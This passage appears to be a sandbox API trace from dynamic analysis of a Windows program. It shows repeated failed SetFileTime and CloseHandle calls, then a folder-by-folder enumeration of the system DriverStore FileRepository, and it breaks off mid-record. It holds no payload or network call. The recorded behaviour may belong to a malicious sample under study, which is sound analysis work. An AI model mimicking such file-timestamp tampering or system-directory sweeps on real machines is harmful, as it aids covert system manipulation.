returned 0 [0145.015] CloseHandle (hObject=0xffffffff) returned 0 [0145.015] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.015] CloseHandle (hObject=0xffffffff) returned 0 [0145.016] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.016] CloseHandle (hObject=0xffffffff) returned 0 [0145.016] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.016] CloseHandle (hObject=0xffffffff) returned 0 [0145.016] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.016] CloseHandle (hObject=0xffffffff) returned 0 [0145.017] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.017] CloseHandle (hObject=0xffffffff) returned 0 [0145.017] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.017] CloseHandle (hObject=0xffffffff) returned 0 [0145.017] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.018] CloseHandle (hObject=0xffffffff) returned 0 [0145.018] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.018] CloseHandle (hObject=0xffffffff) returned 0 [0145.018] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.018] CloseHandle (hObject=0xffffffff) returned 0 [0145.019] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.019] CloseHandle (hObject=0xffffffff) returned 0 [0145.019] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.019] CloseHandle (hObject=0xffffffff) returned 0 [0145.019] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.019] CloseHandle (hObject=0xffffffff) returned 0 [0145.020] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.020] CloseHandle (hObject=0xffffffff) returned 0 [0145.020] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.020] CloseHandle (hObject=0xffffffff) returned 0 [0145.021] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.021] CloseHandle (hObject=0xffffffff) returned 0 [0145.051] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfee8988a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x841f7c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x833f5788, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0145.053] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.059] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\1394.inf_amd64_neutral_0b11366838152a76\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x392f7a54, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bdf6803, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bdf6803, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.063] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.066] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\61883.inf_amd64_neutral_a64d66bac757464c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3da54f2d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x607ef4b0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x607ef4b0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.069] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.070] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\acpi.inf_amd64_neutral_aed2e7a487803437\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39b4c763, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x46150ef0, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46150ef0, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.073] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.075] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\acpipmi.inf_amd64_neutral_256ad642985694b3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x385b9fdb, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bb22dde, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bb22dde, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.076] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.077] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\adp94xx.inf_amd64_neutral_4928c8870f6a1577\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42198250, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61cc3556, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61cc3556, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.079] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\adpahci.inf_amd64_neutral_b082e95ec9f8c3f9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422307d1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61cc3556, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61cc3556, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.079] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.080] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\adpu320.inf_amd64_neutral_4ea3d42a9839982a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eeeb2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61ce96b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61ce96b6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.080] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.081] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\af9035bda.inf_amd64_neutral_aa11aa34552d1d4d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x474c2389, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x660e6b94, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x660e6b94, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.082] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.083] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\agp.inf_amd64_neutral_22cdceb61fbafb43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4290871e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61e1a1b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61e1a1b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.083] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.084] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\amdsata.inf_amd64_neutral_67db50590108ebd9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x395cb479, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bedb045, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bedb045, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.086] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.087] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\amdsbs.inf_amd64_neutral_5cae6933bef20aa8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41eea98b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61ad4373, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61ad4373, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.088] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.089] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\angel264.inf_amd64_neutral_04b54b6322607cce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4662dcae, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65d087cc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65d087cc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.091] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.092] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\angel64.inf_amd64_neutral_6bed16c93db1ccf3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466ec390, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65d2e92d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65d2e92d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.093] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.094] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\angelu64.inf_amd64_neutral_3d6079dd78127f5e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46784911, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65d54a8d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65d54a8d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.095] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\arc.inf_amd64_neutral_11b52dec8e94d9aa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x423f9854, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61ce96b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61ce96b6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.096] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.096] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\arcsas.inf_amd64_neutral_c763887719bed95d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x424b7f36, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61d0f817, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61d0f817, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.097] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.098] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\atiilhag.inf_amd64_neutral_0a660e899f5038a2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d8b42c, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b8e793a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b8e793a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.101] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.125] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\atiriol6.inf_amd64_neutral_bde34ad5722cca75\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x459d4a78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x659c2986, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x659c2986, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.125] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.127] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_neutral_3ef33c750e6308ce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ebbd02d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60b352f6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60b352f6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.128] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.129] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\averfx2hbh826d_noaverir_x64.inf_amd64_neutral_da2ba9e8a30dad14\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45a6cff9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x659e8ae7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x659e8ae7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.133] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.136] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\averfx2hbtv_x64.inf_amd64_neutral_7216b6fb23536c40\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45b2b6da, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65a34da7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65a34da7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.140] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.149] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\averfx2swtv_noavin_x64.inf_amd64_neutral_86943dd17860e449\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45c0ff1c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65a5af08, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65a5af08, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.152] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.155] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\averfx2swtv_x64.inf_amd64_neutral_24a71cdaabc7f783\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45d66b7e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65aa71c8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65aa71c8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.158] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.161] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\averhbh826_noaverir_x64.inf_amd64_neutral_2fe3b14136d6e46d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45e25260, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65acd328, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65acd328, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.165] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.168] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\avmx64c.inf_amd64_neutral_8ebb15bf548db022\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x398df1b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f66124f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f66124f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.178] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\battery.inf_amd64_neutral_cb8fa151a7b7cb80\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43d90504, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6215ffff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6215ffff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.182] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.185] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bda.inf_amd64_neutral_41c6262952846788\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d9bc9ac, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x607c934f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x607c934f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.186] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.186] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\blbdrive.inf_amd64_neutral_1aa816fe7dc98c3f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43bc7480, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62139e9e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62139e9e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.187] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.188] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfcmdm.inf_amd64_neutral_af49d2f3ffa12116\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50dd8b83, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c4482cb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c4482cb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.195] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfcmf.inf_amd64_neutral_67b5984f8e8ff717\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3af09ebd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ffc0901, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ffc0901, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.198] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.203] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfcsto.inf_amd64_neutral_2d7208355536945e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40742ec0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x612333a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x612333a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.204] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.205] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfcumd.inf_amd64_neutral_db43b26810939b3e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x407db441, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61259503, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61259503, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.206] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.207] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfcwia.inf_amd64_neutral_817b8835aed3d6b7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b145361, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60058e82, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60058e82, 